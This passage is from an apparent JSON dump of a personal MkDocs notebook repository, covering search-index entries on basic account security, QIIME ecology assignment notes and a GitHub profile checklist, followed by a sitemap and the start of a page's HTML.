<p>\\u542f\\u7528\\u4e00\\u5207\\u80fd\\u542f\\u7528\\u7684\\u4e24\\u6b65\\u9a8c\\u8bc1\\uff0c\\u4e0d\\u8981\\u4f7f\\u7528\\u6d4f\\u89c8\\u5668\\u7684\\u4fdd\\u5b58\\u5bc6\\u7801\\u529f\\u80fd</p> </li> <li> <p>\\u8ba9\\u653b\\u51fb\\u8005\\u8ff7\\u5931\\u5728\\u4e00\\u5927\\u7fa4\\u65e0\\u7528\\u6587\\u4ef6\\u4e2d\\u6216\\u8bb8\\u662f\\u4e00\\u79cd\\u597d\\u65b9\\u6cd5</p> </li> <li> <p>\\u5bf9\\u6280\\u672f\\u3001\\u6cd5\\u5f8b\\u5fc3\\u5b58\\u656c\\u754f\\uff0c\\u5bf9\\u5f85\\u5b89\\u5168\\u4e0d\\u80fd\\u5077\\u61d2\\uff01</p> </li> <li> <p>\\u5468\\u671f\\u6027\\u66f4\\u6362\\u5bc6\\u7801\\u548c\\u670d\\u52a1\\u5668\\u5bc6\\u94a5</p> </li> </ul>\"},{\"location\":\"doc/biology/ecology/\",\"title\":\"\\u751f\\u6001\\u6570\\u636e\\u5904\\u7406\\uff0c\\u4f7f\\u7528QIIME\",\"text\":\"\"},{\"location\":\"doc/biology/ecology/#_1\",\"title\":\"\\u4f5c\\u4e1a\\u8981\\u6c42\",\"text\":\"<ol> <li>De-novo OTU picking\\u4ee5\\u53caOTU table\\u7684\\u5236\\u4f5c</li> <li>alpha\\u591a\\u6837\\u6027\\u5206\\u6790\\uff1a\\u4f18\\u52bf\\u79cd(&gt;5%/10%)\\u7684Relative Abundance\\u5206\\u5e03\\u56fe\\uff1bRarefaction Curve( Shannon, Simpson, Observed species)</li> <li>beta\\u591a\\u6837\\u6027\\u5206\\u6790\\uff1a Unweighted/Weighted Unifrac PCoA\\u5206\\u6790</li> <li>\\u7fa4\\u4f53\\u6027\\u5206\\u6790\\uff1aNMDS\\u5206\\u6790\\u2013R    \\u5dee\\u5f02\\u5206\\u6790\\uff08Adonis\\uff0cANOSIM\\uff0cMRPP\\uff09\\u2013R</li> </ol>\"},{\"location\":\"doc/biology/ecology/#obtaining-the-data\",\"title\":\"\\u83b7\\u5f97\\u6570\\u636e Obtaining the data\",\"text\":\"<p>\\u4ece\\u7fa4\\u5171\\u4eab\\u4e0b\\u8f7d\\u5230\\u4e09\\u4e2a\\u6587\\u4ef6\\uff0c\\u7b80\\u4ecb\\uff1a</p>\"},{\"location\":\"doc/biology/ecology/#bf_maptxt-510kb\",\"title\":\"BF_Map.txt 5.10KB\",\"text\":\"<p>\\u8fd9\\u662f\\u5bf9\\u539f\\u59cb\\u6d4b\\u5e8ffna\\u6587\\u4ef6\\u7684\\u63cf\\u8ff0\\uff0c\\u662f\\u539f\\u59cb\\u6570\\u636e</p> <p>|SampleID|BarcodeSequence|LinkerPrimerSequence|Treatment|Plate|Description| | --------   | -----:  | :----:  | |\\u6837\\u672cID|\\u7528\\u4e8e\\u533a\\u5206\\u6837\\u672c\\u7684\\u5e8f\\u5217|\\u6d4b\\u5e8f\\u65f6\\u52a0\\u4e0a\\u7684\\u5e8f\\u5217|\\u6837\\u672c\\u7684\\u5904\\u7406\\uff0cControl\\u4e0eWarming||\\u63cf\\u8ff0\\uff0c\\u6709TagA,TagB,TagC|</p>\"},{\"location\":\"doc/biology/ecology/#otu_table_ftxt-239mb\",\"title\":\"otu_table_F.txt 23.9MB\",\"text\":\"<p>OTU\\u662f\\u5728\\u6570\\u91cf\\u5206\\u7c7b\\u5b66\\u65b9\\u9762\\u4f5c\\u4e3a\\u5bf9\\u8c61\\u7684\\u5206\\u7c7b\\u5355\\u4f4d</p> <p>\\u8ba1\\u7b97\\u5f97\\u51fa\\u7684OTU Table</p> <p>\\u6bcf\\u884c\\u4e00\\u4e2aOTU\\uff0c\\u5982\\u679c\\u5339\\u914d\\u5230\\u6570\\u636e\\u5e93\\u4e0a\\u6709\\u5fae\\u751f\\u7269\\u7684\\u7269\\u79cd\\u5206\\u7c7b\\u6570\\u636e\\uff0c\\u4ee5\\u53ca\\u6bcf\\u4e2a\\u6837\\u672c\\u662f\\u5426\\u5305\\u542b\\u8fd9\\u4e2aOTU\\u2013\\u5305\\u542b\\u4e3a1\\uff0c\\u4e0d\\u5305\\u542b\\u4e3a0</p>\"},{\"location\":\"doc/biology/ecology/#otus_bfrar-367mb\",\"title\":\"otus_BF.rar 36.7MB\",\"text\":\"<p>\\u5185\\u542botus_BF\\u6587\\u4ef6\\u5939\\uff0c\\u4e3aDe novo OTU picking\\u6b65\\u9aa4\\u7684\\u751f\\u6210\\u7ed3\\u679c</p>\"},{\"location\":\"doc/biology/ecology/#otu-de-novo-otu-picking\",\"title\":\"\\u4ece\\u5934\\u5f00\\u59cb\\u7684OTU\\u7ec4\\u88c5 De novo OTU picking\",\"text\":\"<p>\\u7531\\u4e8e\\u7f3a\\u5c11\\u539f\\u59cb\\u6587\\u4ef6\\uff0c\\u672c\\u6b65\\u9aa4\\u65e0\\u6cd5\\u590d\\u73b0\\uff0c\\u8fd0\\u7b97\\u7ed3\\u679c\\u4e3a\\u7ed9\\u51fa\\u7684otus_BF.rar</p> <p>\\u6b64\\u6b65\\u9aa4\\u751f\\u6210\\u4e86rep_set.tre\\uff0c\\u4f7f\\u7528FigTree\\u8f6f\\u4ef6\\u8fdb\\u884c\\u67e5\\u770b\\uff1a</p> <p></p>\"},{\"location\":\"doc/biology/ecology/#otu-table\",\"title\":\"\\u67e5\\u770b\\u4ea7\\u751f\\u7684OTU Table\",\"text\":\"<p>summarize.txt</p> <p>\\u4e00\\u5171\\u670950\\u4e2a\\u6837\\u672c\\uff0c\\u53c2\\u7167\\u7ed9\\u51fa\\u7684\\u539f\\u59cbBF_Map.txt\\uff0872\\u4e2a\\u6837\\u672c\\uff09\\uff0c \\u53d1\\u73b0\\u5176\\u4e2d\\u7684F.TagA.3C.12\\u548cF.TagA.3C.13\\u7684Count\\u6570\\u592a\\u5c0f\\u53ef\\u4ee5\\u5ffd\\u7565\\uff0c\\u6bd4\\u8f83\\u4e24\\u4e2a\\u6587\\u4ef6\\u53d1\\u73b0ID\\u4e3aTagA\\u7684\\u90fd\\u6ca1\\u6709\\u51fa\\u73b0\\u5728\\u7ed9\\u51fa\\u7684OTU Table\\u4e2d</p> <p>\\u6280\\u672fPoint:\\u7528Excel\\u6bd4\\u8f83\\u4e24\\u5217\\u76f8\\u540c\\u5143\\u7d20http://jingyan.baidu.com/article/c843ea0b7a2a7477921e4a47.html</p>\"},{\"location\":\"doc/biology/ecology/#make-an-otu-network\",\"title\":\"Make an OTU network\",\"text\":\"<p>\\u4eba\\u5bb6\\u8bf4\\u8981\\u7528Cytoscape\\uff0c\\u6709\\u5f85\\u7814\\u7a76</p> <p>\\u751f\\u6210\\u7684otu_network\\u6587\\u4ef6\\u5939\\u6233\\u8fd9\\u91cc\\u4e0b\\u8f7d</p>\"},{\"location\":\"doc/biology/ecology/#summarize-communities-by-taxonomic-composition\",\"title\":\"\\u7269\\u79cd\\u5206\\u7c7b\\u7edf\\u8ba1 Summarize communities by taxonomic composition\",\"text\":\"<p>\\u751f\\u6210\\u7684taxa_summary\\u6587\\u4ef6\\u5939,\\u6233\\u6211\\u4e0b\\u8f7d</p> <p>\\u8fd9\\u91cc\\u662f\\u91cd\\u70b9</p> <p>\\u6253\\u5f00taxa_summary/taxa_summary_plots\\u6587\\u4ef6\\u5939\\uff0c\\u91cc\\u9762\\u6709\\u4e24\\u4e2a\\u7f51\\u9875\\uff0c</p> <p>\\u7f51\\u9875\\u6253\\u5f00\\u540e5\\u5f20\\u56fe\\uff0c\\u6bcf\\u5f20\\u56fe\\u7684\\u6a2a\\u5750\\u6807\\u90fd\\u662f50\\u4e2a\\u6837\\u672c\\uff0c\\u4ece\\u4e0a\\u5230\\u4e0b\\u5206\\u7c7b\\u9636\\u5143\\u8d8a\\u6765\\u8d8a\\u7ec6</p> <p>\\u9009\\u62e9\\u6700\\u9ad8\\u5c42\\u6b21\\u7684\\u8fd9\\u5f20bar\\u56fe\\u5427\\uff1a</p> <p></p> <p>\\u89e3\\u538b\\u538b\\u7f29\\u5305\\u540e\\u6253\\u5f00\\u7f51\\u9875\\uff0c\\u7528\\u9f20\\u6807\\u629a\\u6478\\u8fd9\\u5f20\\u56fe\\u53ef\\u4ee5\\u770b\\u5230\\u5206\\u7c7b\\u4fe1\\u606f</p> <p>\\u5e95\\u4e0b\\u7ea2\\u8272\\u662f\\u6700\\u591a\\u7684\\uff0c\\u662fOther</p> <p>\\u5176\\u6b21\\u6700\\u591a\\u7684\\u770b\\u8d77\\u6765\\u662f\\u4e0a\\u8fb9\\u7684\\u7ea2\\u8272\\u7684\\uff0cProteobacteria</p>\"},{\"location\":\"doc/biology/ecology/#make-a-taxonomy-heatmap\",\"title\":\"\\u4ea7\\u751f\\u70ed\\u56feMake a taxonomy heatmap\",\"text\":\"\"},{\"location\":\"doc/biology/ecology/#alpha\",\"title\":\"\\u8ba1\\u7b97alpha\\u591a\\u6837\\u6027\",\"text\":\"<p>\\u751f\\u6210\\u7684arare\\u6587\\u4ef6\\u5939\\u6233\\u6211\\u4e0b\\u8f7d</p> <p>alpha\\u591a\\u6837\\u6027\\u7684\\u8ba1\\u7b97\\u7ed3\\u679c\\u5728arare/alpha_div_collated\\u4e2d\\uff0c\\u91cc\\u9762\\u6709</p> <ul> <li>shannon.txt</li> <li>simpson.txt</li> <li>observed_otus.txt \\u8fd9\\u5c31\\u662fPPT\\u8981\\u6c42\\u7684Observed species</li> </ul> <p>\\u6bcf\\u4e00\\u5217\\u662f\\u4e00\\u4e2a\\u6837\\u672c</p> <p>\\u6bcf\\u4e00\\u884c\\u884c\\u662f\\u53d6\\u6837\\u5927\\u5c0f+\\u8fed\\u4ee3\\u6b21\\u6570\\uff1a</p> <p>rarefaction_##_#.txt: the first set of numbers represents the number of sequences sampled, and the last number represents the iteration number</p> <p>\\u7528\\u4e0d\\u540c\\u7684\\u91c7\\u6837\\u5927\\u5c0f\\u53ef\\u4ee5\\u5f97\\u5230\\u4e0d\\u540c\\u7684\\u6570\\u503c\\uff0c\\u5c31\\u53ef\\u4ee5\\u753b\\u51fa\\u4e0b\\u9762\\u8fd9\\u4e9b\\u56fe</p>\"},{\"location\":\"doc/biology/ecology/#alpha_1\",\"title\":\"\\u770balpha\\u7a00\\u758f\\u56fe\",\"text\":\"<p>\\u9996\\u5148\\u4e86\\u89e3\\u8fd9\\u662f\\u4e2a\\u4ec0\\u4e48\\u4e1c\\u897f Wikipedia</p> <p></p> <p></p> <p></p> <p>\\u95ee\\u9898\\uff1a\\u5982\\u679c\\u4f7f\\u7528Category:Treatment, \\u6570\\u636e\\u4e0a\\u5f88\\u591aNaN\\uff0c\\u770b\\u4e0d\\u51fa\\u4e0d\\u540c\\u5904\\u7406\\u7684\\u663e\\u8457\\u6027\\u5dee\\u5f02</p>\"},{\"location\":\"doc/biology/ecology/#beta-compute-beta-diversity-and-generate-ordination-plots\",\"title\":\"\\u8ba1\\u7b97beta\\u591a\\u6837\\u6027 Compute beta diversity and generate ordination plots\",\"text\":\"<p>bdiv_even146.zip\\u6233\\u6211\\u4e0b\\u8f7d</p>\"},{\"location\":\"doc/biology/ecology/#unweighted\",\"title\":\"Unweighted\",\"text\":\"<p>\\u7ea2\\u8272Control \\u84dd\\u8272Warming</p> <p></p> <p></p> <p>Treatment\\u4e0a\\u6ca1\\u6709\\u663e\\u8457\\u6027\\u533a\\u522b</p> <p>\\u90a3\\u4ec0\\u4e48\\u5177\\u6709\\u663e\\u8457\\u6027\\u533a\\u522b\\u5462\\uff1f</p> <p>\\u624b\\u5de5\\u6807\\u4e0a\\u989c\\u8272\\uff1a</p> <p>\\u9ec4\\u8272 TagC_13 \\u7eff\\u8272 TagB_13 \\u84dd\\u8272 TagC_12 \\u7ea2\\u8272 TagB_12</p> <p></p> <p>\\u53d1\\u73b0\\u6837\\u672c\\u6700\\u540e\\u7684\\u6807\\u53f712\\u4e0e13\\u624d\\u662f\\u6700\\u663e\\u8457\\u7684\\u533a\\u522b\\u6765\\u6e90\\uff01</p>\"},{\"location\":\"doc/biology/ecology/#weighted\",\"title\":\"Weighted\",\"text\":\"<p>\\u540c\\u6837\\u5728Treatment\\u4e0a\\u6ca1\\u6709\\u663e\\u8457\\u6027\\u5dee\\u5f02</p>\"},{\"location\":\"doc/github/github_profile_checklist/\",\"title\":\"Github \\u68c0\\u67e5\\u8868 [\\u6c42\\u804c\\u5411]\",\"text\":\"<p>\\u672c\\u6587\\u6863\\u7ffb\\u8bd1\\u81eaUdacity\\u8bfe\\u7a0b\\u8d44\\u6599\\uff0c\\u539f\\u6587\\u5728\\u6b64</p>\"},{\"location\":\"doc/github/github_profile_checklist/#_1\",\"title\":\"\\u4e00\\u822c\\u6027\\u7684\",\"text\":\"<ol> <li> <p>\\u6211\\u5728Github\\u4e0a\\u81f3\\u5c11\\u67094\\u4e2a\\u81ea\\u5df1\\u7684\\u9879\\u76ee</p> </li> <li> <p>\\u6211\\u6709\\u6301\\u7eed\\u6027\\u5730\\u4e3a\\u9879\\u76ee\\u4f5c\\u51fa\\u63d0\\u4ea4</p> </li> <li> <p>\\u81f3\\u5c11\\u4e24\\u5468\\u6bcf\\u5929\\u90fd\\u575a\\u6301\\u63d0\\u4ea4\\uff0c\\u65e0\\u8bba\\u63d0\\u4ea4\\u6709\\u591a\\u4e48\\u5c0f</p> </li> <li> <p>\\u6211\\u53c2\\u4e0e\\u8fc7\\u81f3\\u5c11\\u4e00\\u4e2a\\u5f00\\u6e90\\u9879\\u76ee</p> </li> </ol>\"},{\"location\":\"doc/github/github_profile_checklist/#_2\",\"title\":\"\\u4e2a\\u4eba\\u4fe1\\u606f\",\"text\":\"<p>1.\\u6211\\u6709\\u4e00\\u4e2a\\u6b63\\u5f0f\\u7684github\\u7528\\u6237\\u540d\\uff0c\\u5982\\u6709\\u53ef\\u80fd\\u8fd9\\u4e2a\\u7528\\u6237\\u540d\\u5c31\\u662f\\u6211\\u7684\\u540d\\u5b57</p> <p>2.\\u6211\\u6709\\u6b63\\u5f0f\\u7684\\u4e2a\\u4eba\\u5934\\u50cf\\uff0c\\u5efa\\u8bae\\u4f7f\\u7528\\u81ea\\u4fe1\\u9633\\u5149\\u7684\\u4e2a\\u4eba\\u7167\\u7247</p> <p>3.URL\\u3001\\u516c\\u53f8\\u3001\\u90ae\\u7bb1\\u90e8\\u5206\\u7b49\\u4e2a\\u4eba\\u4fe1\\u606f\\u4e0d\\u4e3a\\u7a7a\\u4e14\\u4fdd\\u6301\\u6700\\u65b0</p>\"},{\"location\":\"doc/github/github_profile_checklist/#_3\",\"title\":\"\\u9879\\u76ee\",\"text\":\"<p>1.\\u6211\\u81f3\\u5c11\\u5bf9\\u6211\\u60f3\\u5173\\u6ce8\\u7684\\u9879\\u76ee\\u7ed9\\u51fa\\u4e00\\u4e2aStar</p> <p>2.\\u6211\\u7684\\u9879\\u76ee\\u6709\\u4e00\\u4e2a\\u5408\\u7406\\u7684\\u540d\\u79f0\\uff08\\u53ef\\u4ee5\\u5728\\u9879\\u76ee\\u9007Settings\\u4e2d\\u4fee\\u6539\\uff09</p> <p>3.\\u6211\\u7684\\u9879\\u76ee\\u6709\\u5b8c\\u6574\\u7684README\\uff0c\\u8bf4\\u660e\\u521b\\u5efa\\u8fd9\\u4e2a\\u9879\\u76ee\\u7684\\u76ee\\u7684\\uff0c\\u4f7f\\u7528\\u8fd9\\u4e2a\\u9879\\u76ee\\u7684\\u65b9\\u6cd5\\uff0c\\u5bfb\\u6c42\\u600e\\u6837\\u7684\\u5408\\u4f5c\\u3002(Fork\\u7684\\u9879\\u76ee\\u4e0d\\u9700\\u8981\\u4fee\\u6539README)</p> <p>4.\\u9879\\u76ee\\u7684\\u6240\\u6709\\u4fee\\u6539\\u90fd\\u8981\\u6709\\u63d0\\u4ea4\\u4fe1\\u606f\\u6765\\u89e3\\u91ca\\u8fdb\\u884c\\u7684\\u4fee\\u6539</p> <p>5.\\u9075\\u5faa\\u63d0\\u4ea4\\u4fe1\\u606f\\u7684\\u98ce\\u683c\\uff0c\\u6233\\u8fd9\\u91cc -&gt; http://udacity.github.io/git-styleguide/</p>\"}]}"
  },
  {
    "path": "docs/sitemap.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n    <url>\n         <loc>None</loc>\n         <lastmod>2023-08-06</lastmod>\n         <changefreq>daily</changefreq>\n    </url>\n</urlset>"
  },
  {
    "path": "docs/zjugrshelper/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Ubuntu/\">\n      \n      \n        <link rel=\"next\" href=\"../ccfbadge/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>ZJU grs helper - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#zju-grs-helper\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              ZJU grs helper\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" 